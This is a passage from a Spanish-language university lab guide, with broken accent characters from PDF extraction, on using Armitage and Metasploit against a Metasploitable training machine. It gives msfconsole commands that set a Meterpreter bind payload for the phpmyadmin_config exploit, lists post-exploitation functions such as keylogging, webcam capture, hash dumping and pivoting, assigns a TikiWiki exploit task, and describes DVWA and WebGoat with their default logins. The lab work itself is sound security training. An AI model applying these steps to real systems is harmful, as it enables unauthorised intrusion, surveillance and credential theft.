2. Sobre la pestaa exploit de la consola de Armitage vinculada al ataque con exploit/unix/webapp/phpmyadmin_config n cambiar el PAYLOAD y lanzar de nuevo el exploit manualmente.
msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp msf exploit(phpmyadmin_config) > show options msf exploit(phpmyadmin_config) > exploit
3. Se abre un men contextual nuevo sobre el icono del host atacado, etiquetado como Meterpreter # con las u opciones concretas de este PAYLOAD. En la opcin Interact se abre un shell de Meterpreter con un conjunto de comandos espec o cos para tareas de post explotacin o En la opcin Explore incluye un navegador de archivos grco, un visor de procesos y un herramienta de o a captura de pantalla (depende del tipo de v ctima [no funciona con GNU/linux en modo texto]) En la opcin Pivoting se pueden congurar los parmetros necesarios para que el equipo comprometido o a funcione como pivote, actando como punto intermedio en el anlisis y ataque con Metasploit a otras u a mquinas accesibles desde dicha v a ctima. 4. Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)
13
Con help se muestran los comandos, muchos de ellos son dependientes de la arquitectura y S.O. de la v ctima y no todos estarn disponibles. a comando load -carga mdulos de meterpreter con funcionalidades adicionales: load -l) o comando run -ejecuta mdulos de post explotacin o scripts meterpreter o o comandos ipconfig, route, portfwd -control de la conguracin de red de la v o ctima otros: control de webcam/micrfono, captura de pantalla, keylogger, captura de hashes de contraseas o n (slo en MS Windows), etc o
3.3.5.
Tarea: explotar la aplicacin web TikiWiki o
Exploit a emplear: exploit/unix/webapp/tikiwiki_graph_formula_exec Sobre el hosts [Link]: [botn derecho] -> Attacks -> webapp -> tikiwiki_graph_formula_exec o
4.
Extra: Aplicaciones web vulnerables de entrenamiento y educativas
En la mquina virtual Metasploitable se han instalado dos aplicaciones web educativas (una en PHP y otra en Java) a para exprimentar con las vulnerabilidades t picas de las aplicaciones web. Damm Vulnerable Web Application Aplicacin web escrita en PHP con una coleccin de ejercicios sobre vulnerabilidades web habituales. o o Pgina del proyecto: [Link] a URL de acceso desde ATACANTE: [Link] Credenciales de acceso: admin/password Cdigo fuente en /var/www/dvwa (en METASPLOITABLE) o OWASP WebGoat. Aplicacin web J2EE escrita en Java mantenida y distribuida por el proyecto OWASP (Open Web Application o Security Project), incluye una coleccin de lecciones detalladas y ejercicios sobre las vulnerabilidades incluidas o en el OWASP Top Ten Project que mantiene un ranking con las vulnerabilidades web ms importantes. a Pgina del proyecto: OWASP WebGoat Project a Las instrucciones para poner el marcha la web estn en el chero /home/msfadmin/vulnerable/[Link] a de la mquina METASPLOITABLE. a La aplicacin se distribuye con su propio servidor Apache Tomcat y quedar a la escucha en la URL o a [Link] Credenciales de acceso: webgoat/webgoat, guest/guest, basic/basic
14